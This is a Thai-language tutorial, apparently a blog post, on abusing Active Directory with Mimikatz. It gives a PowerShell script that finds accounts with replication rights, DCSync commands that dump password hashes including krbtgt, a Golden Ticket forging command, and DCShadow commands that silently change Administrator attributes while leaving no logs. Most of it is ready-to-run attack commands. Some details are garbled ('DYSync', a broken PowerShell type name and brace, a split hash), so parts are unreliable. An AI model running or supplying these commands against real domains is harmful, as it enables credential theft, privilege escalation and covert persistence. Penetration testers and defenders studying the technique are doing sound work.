เรื่องการใช้งานทั่วไปของ Mimikatz อันนี้ผมขอไม่พูดถึงละกัน เราจะมาว่าด้วยเรื่องของการใช้งาน Mimikatz ดึง password จาก Active Directory (AD) ออกมาทั้งหมดกัน โดยในที่นี้ Mimikatz จำเป็นจะต้องสามารถรันในเครื่องใดๆที่ join AD อยู่และการรันนั้นจำเป็นต้องใช้สิทธิ์ของ administrator ด้วยครับ
DYSync
DCSync เป็น command ที่อยู่ใน AD สำหรับการ sync ข้อมูลระหว่าง AD ที่ 1 และ 2 ที่อยู่ใน Forest เดียวกันโดยใช้ Directory Replication Service Remote Protocol (MS-DRSR) โดย Mimikatz จะปลอมตัวเป็น AD อีกตัวแล้วพยายามขอข้อมูลจากทาง AD ของจริง ซึ่งจริงๆแล้วการกระทำนี้ง่ายมาก แต่ประเด็นสำคัญคือการต้องมี user ที่สามารถกระทำแบบนั้นได้ ซึ่งโดยปกติแล้วจะเป็น Domain Admins แต่ก็มีความเป็นไปได้ที่จะมี user ที่ถูกสร้างมาโดยเฉพาะเพื่อสำหรับการทำ replicate ข้อมูลเหมือนกัน โดยสิทธิ์ที่เราต้องการคือ “Replicating Directory Changes” และ “Replicating Directory Changes All”
1 2 3 4 5 6 7 8 9 10 11 12 13 |
Import-Module ActiveDirectory $all = (Get-Acl).Access | where-Object ($_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -or $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"} foreach ($ACL in $all) { $user = New-Object System.Security.Principal.NTAccount($ACL.IdentityReference) $SID = $user.Translate([System.Security.Principal.SecurityIdentify]) $RID = $SID.ToString().split("-")[7] if([int]$RID -gt 1000) { Write-Host "Permission to sync AD granted to: " $ACL.IdentityReference } } |
เมื่อหา user ได้ก็ทำการรัน Mimikatz ด้วยสิทธิ์ของ user ดังกล่าว จากนั้นใช้คำสั่ง
1 |
lsadump::dcsync /domain:[YOUR DOMAIN] /user:[specific user] |
[specific user] คือการระบุว่าเราจะดึง password ของ user ไหนออกมา โดยจะได้มาทั้ง LM, NTLM ซึ่งก็เพียงพอที่จะนำไปสร้าง Golden Ticket ต่อไป
(mimikatz console) lsadump::dcsync /user:krbtgt ![]() (mimikatz console) kerberos::golden /user:evil /domain:targetdomain.com /sid:S -1 -5 -21 -3737340914 -2019594255 -2413685307 /krbtgt:d 125 e 4 f 69 c 851529045 ec 95 ca 80 fa 37 e /ticket:evil.tck /ptt |
DCShadow
หากการดึง password ด้วย DYSync ยังไม่เพียงพอก็มาทำการปลอมเป็น AD ไปเลยละกัน โดยหากใครต้องการรายละเอียดแบบขั้นสุดสามารถเข้าไปดูได้ที่ www.dcshadown.com โดยสรุปย่อๆคือ
1. Attacker จะพยายามประกาศว่าตัวเองเป็น AD โดยการไปแก้ไข Configuration schema และแก้ไข SPN value ของเครื่อง. ซึ่งจะทำให้ AD เชื่อว่าเครื่องเราก็เป็น domain controller เช่นกันและพร้อมจะส่งทุกอย่างไปให้
2. การเปลี่ยนแปลงใดๆบน AD ปลอมจะส่งผลให้ AD ตัวจริงเปลี่ยนตามไปด้วย
3. ซึ่งพอเป็นแบบนั้นตัว Client ก็จะได้ผลการ configuration ใดๆไปโดยปริยาย
สิ่งที่เกิดขึ้นนี้เป็นการเปลี่ยนแปลงใดๆบนตัวข้อมูลที่ AD sync เข้าด้วยกัน ดังนั้นมันกลายเป็นว่าการแก้ไขใดๆจะไม่มี log เกิดขึ้นเลย ซึ่งทำให้ Attacker สามารถแก้ไขเครื่อง AD ได้แบบไร้ร่องรอย แต่การกระทำนี้จำเป็นต้องอาศัยสิทธิ์ที่เป็น system user นะครับถึงจะทำได้ โดยการเข้าไปควบคุมเครื่อง client ใดๆโดยใช้สิทธิ์ของ System user นั้นมีเยอะมาก ไปหาทางเอาเองละกันนะ เมื่อรัน Mimikatz ด้วยสิทธิ์ของ system แล้วให้เราเช็คโดยใช้คำสั่ง
1 2 3 |
!* token::whoami token::elevate |
เพื่อให้แน่ใจว่าเรารันด้วยสิทธิ์ของ system user จริงๆ จากนั้นใช้คำสั่งสำหรับการรอให้ dcshadow รันขึ้นมาโดยใช้คำสั่งเป็น
1 2 3 |
lsadump::dcshadow /object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local /attribute:description /value:"DCShadow was here!" หรือ lsadump::dcshadow /object=<user> /attribute=ntPwdHistory /value="modified value" |
จากนั้นทำการรัน dcshadow โดยใช้คำสั่ง
1 |
lsadump::dcshadow /push |
จากนั้นรอดูผลลัพธ์และจะพบว่าเราสามารถแก้ไขค่าของ Administrator หรือ <user> ใดๆได้เลย
Source:: DCShadow, Pentesterlab